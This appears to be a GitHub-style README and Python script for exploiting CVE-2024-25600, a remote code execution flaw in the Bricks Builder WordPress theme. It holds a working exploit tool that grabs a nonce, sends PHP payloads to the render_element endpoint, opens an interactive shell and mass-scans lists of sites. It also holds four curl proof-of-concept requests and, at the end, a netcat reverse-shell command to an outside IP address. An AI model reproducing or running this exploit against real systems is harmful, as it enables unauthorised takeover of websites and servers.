Tool to exploit the CVE-2024-25600
import re
import warnings
import argparse
import requests
from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed
warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
"ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class Code:
def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
self.url = url
self.pretty = pretty
self.verbose = verbose
self.console = Console()
self.only_rce = only_rce
self.nonce = self.fetch_nonce()
self.payload_type = payload_type
def fetch_nonce(self):
try:
response = requests.get(self.url, verify=False, timeout=20)
response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
script_tag = soup.find("script", id="bricks-scripts-js-extra")
if script_tag:
match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
if match:
return match.group(1)
except Exception:
pass
def send_request(self, postId="1", command="whoami"):
headers = {"Content-Type": "application/json"}
payload_command = f'throw new Exception(`{command}` . "END");'
base_element = {
"postId": postId,
"nonce": self.nonce,
}
query_settings = {
"useQueryEditor": True,
"queryEditor": payload_command,
}
payload_templates = {
"carousel": {
**base_element,
"element": {
"name": "carousel",
"settings": {"type": "posts", "query": query_settings},
},
},
"container": {
**base_element,
"element": {
"name": "container",
"settings": {"hasLoop": "true", "query": query_settings},
},
},
"generic": {
**base_element,
"element": "1",
"loopElement": {
"settings": {"query": query_settings},
},
},
"code": {
**base_element,
"element": {
"name": "code",
"settings": {
"executeCode": "true",
"code": f"<?php {payload_command} ?>",
},
},
},
}
json_data = payload_templates.get(self.payload_type)
if self.pretty:
endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
else:
endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"
req = requests.post(
endpoint,
headers=headers,
json=json_data,
verify=False,
timeout=20,
)
return req
def process_response(self, response):
if response and response.status_code == 200:
try:
json_response = response.json()
html_content = json_response.get("data", {}).get("html", None)
except ValueError:
html_content = response.text
if html_content:
match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
if extracted_text == "":
return True, html_content, False
else:
return True, extracted_text, True
else:
return True, html_content, False
return False, None, False
def interactive_shell(self):
session = PromptSession(history=InMemoryHistory())
self.custom_print("Shell is ready, please type your commands UwU", "!")
while True:
try:
cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
match cmd.lower():
case "exit":
break
case "clear":
self.console.clear()
case _:
response = self.send_request(command=cmd)
(
is_vuln,
response_content,
regex_success,
) = self.process_response(response)
if is_vuln and regex_success:
print(response_content, "\n")
else:
self.custom_print(
"No valid response received or target not vulnerable.",
"-",
)
except KeyboardInterrupt:
break
def check_vulnerability(self):
try:
response = self.send_request()
is_vuln, content, regex_success = self.process_response(response)
if is_vuln:
if regex_success:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
"+",
)
else:
self.custom_print(
f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
"!",
) if not self.only_rce else None
return True, content, regex_success
else:
self.custom_print(
f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
) if self.verbose else None
return False, None, False
except Exception as e:
self.custom_print(
f"Error checking vulnerability: {e}", "-"
) if self.verbose else None
return False, None, False
def custom_print(self, message: str, header: str) -> None:
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
self.console.print(
f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
)
def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
code_instance = Code(
url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
)
if code_instance.nonce:
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and (not only_rce or is_rce_success):
if output_file:
with open(output_file, "a") as file:
file.write(f"{url}\n")
return True
return False
def main():
parser = argparse.ArgumentParser(
description="Check for CVE-2024-25600 vulnerability"
)
parser.add_argument(
"--url", "-u", help="URL to fetch nonce from and check vulnerability"
)
parser.add_argument(
"--list",
"-l",
help="Path to a file containing a list of URLs to check for vulnerability",
default=None,
)
parser.add_argument(
"--output",
"-o",
help="File to write vulnerable URLs to",
default=None,
)
parser.add_argument(
"--payload-type",
"-p",
choices=["carousel", "container", "generic", "code"],
default="code",
help="Type of payload to send (generic, code, carousel or container)",
)
parser.add_argument(
"--only-rce",
action="store_true",
help="Only display and record URLs where RCE is confirmed",
)
parser.add_argument(
"--pretty",
action="store_true",
help="Use pretty URLs (e.g., /wp-json/...) for requests",
)
args = parser.parse_args()
if args.list:
urls = []
with open(args.list, "r") as file:
urls = [line.strip() for line in file.readlines()]
with alive_bar(len(urls), enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=100) as executor:
future_to_url = {
executor.submit(
scan_url,
url,
args.payload_type,
args.output,
args.only_rce,
args.pretty,
): url
for url in urls
}
for future in as_completed(future_to_url):
future_to_url[future]
try:
future.result()
except Exception:
pass
finally:
bar()
elif args.url:
code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
if code_instance.nonce:
code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
if is_vuln and is_rce_success:
code_instance.interactive_shell()
elif is_vuln and not args.only_rce:
code_instance.custom_print(f"Debug:\n{html_content}", "!")
else:
code_instance.custom_print(f"No vulnerability found.", "-")
else:
code_instance.custom_print("Nonce not found.", "-")
else:
parser.print_help()
if __name__ == "__main__":
main()
Installation ๐ ๏ธ
- Clone this repository to your local machine ๐ฅ๏ธ usingย
git clone
. - Navigate to the directory of the cloned repository.
- Install the required Python libraries usingย
pip install -r requirements.txt
.
Usage ๐
Interactive Mode ๐ฎ
- Run the tool withย
python exploit.py -u <URL>
ย to start interactive mode. - Follow the on-screen prompts to send commands to the target server.
Batch Mode ๐
- Prepare a text file with a list of target URLs.
- Run the tool withย
python exploit.py -l <file_path>
ย to scan and exploit the listed sites. - Use theย
--only-rce
ย flag to display and record only URLs where RCE is confirmed.
Payload Customization ๐งฐ
-
Use theย
--payload-type
ย option followed byยgeneric
,ยcarousel
,ยcontainer
, orยcode
ย to specify the type of payload for the exploit.Example:ย
python exploit.py -u <URL> --payload-type generic
Proof of Concept (PoC) ๐
The base PoCs provided by the disclosure are as follows:
First PoC:
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
Second PoC:
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "carousel",
"settings": {
"type": "posts",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}'
Third PoCย Source:
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": "1",
"loopElement": {
"settings": {
"query": {
"useQueryEditor": "",
"queryEditor": "throw new Exception(`id`);"
}
}
}
}'
Fourth PoCย (Effective on Older Versions):
curl -k -X POST "http://[HOST]/index.php?rest_route=/bricks/v1/render_element" \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "code",
"settings": {
"executeCode": "true",
"code": "<?php throw new Exception(`id`);?>"
}
}
}'
Note: The fourth PoC is particularly effective on older versions of Bricks Builder (tested on version 1.8), where previous PoCs may not work.
Itโs possible that additional payloads could yield better results. If my exploit or proof of concept does not work for you, I encourage you to experiment with alternative payloads to find a more effective solution.
Final result (shell gained)
- Now you should estabilise the shell by using on the shell you obtained:
busybox nc 10.11.74.136 666 -e /bin/bash